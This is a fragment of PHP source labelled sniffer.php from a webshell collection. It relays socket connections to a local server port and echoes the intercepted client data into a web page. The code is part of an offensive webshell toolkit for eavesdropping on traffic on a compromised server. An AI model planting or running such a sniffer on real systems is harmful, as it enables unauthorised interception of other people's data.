예제 #1
0
파일: sniffer.php 프로젝트: xl7dev/WebShell
     // 建立到真实服务器的socket
     $server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
     socket_connect($server_sock, "127.0.0.1", $listen_port);
     // 建立真实服务器socket和真实客户端socket之间的映射关系
     $socket_maps1[$new_client] = $server_sock;
     $socket_maps2[$server_sock] = $new_client;
     // 添加到select轮询中
     $select->add($server_sock);
     // $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发
     //select->remove( $listen_sock );
 } else {
     // 读取数据,失败则从轮询socket中删除,并关闭socket
     $client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
     if ($client_data === false) {
         socket_close($socket);
         $select->remove($socket);
         echo "client disconnected.<br />";
         continue;
     }
     // 如果socket在$socket_maps1的key中,说明是从客户端读到了数据
     if (in_array($socket, array_keys($socket_maps1))) {
         //echo "readed from client.<br />";
         if (!socket_write($socket_maps1[$socket], $client_data)) {
             socket_close($socket);
             socket_close($socket_maps1[$socket]);
             $select->remove($socket);
             $select->remove($socket_maps1[$socket]);
             print "Write to server error.<br />";
         }
         print htmlentities($client_data) . "</b><br />";
     } elseif (in_array($socket, array_keys($socket_maps2))) {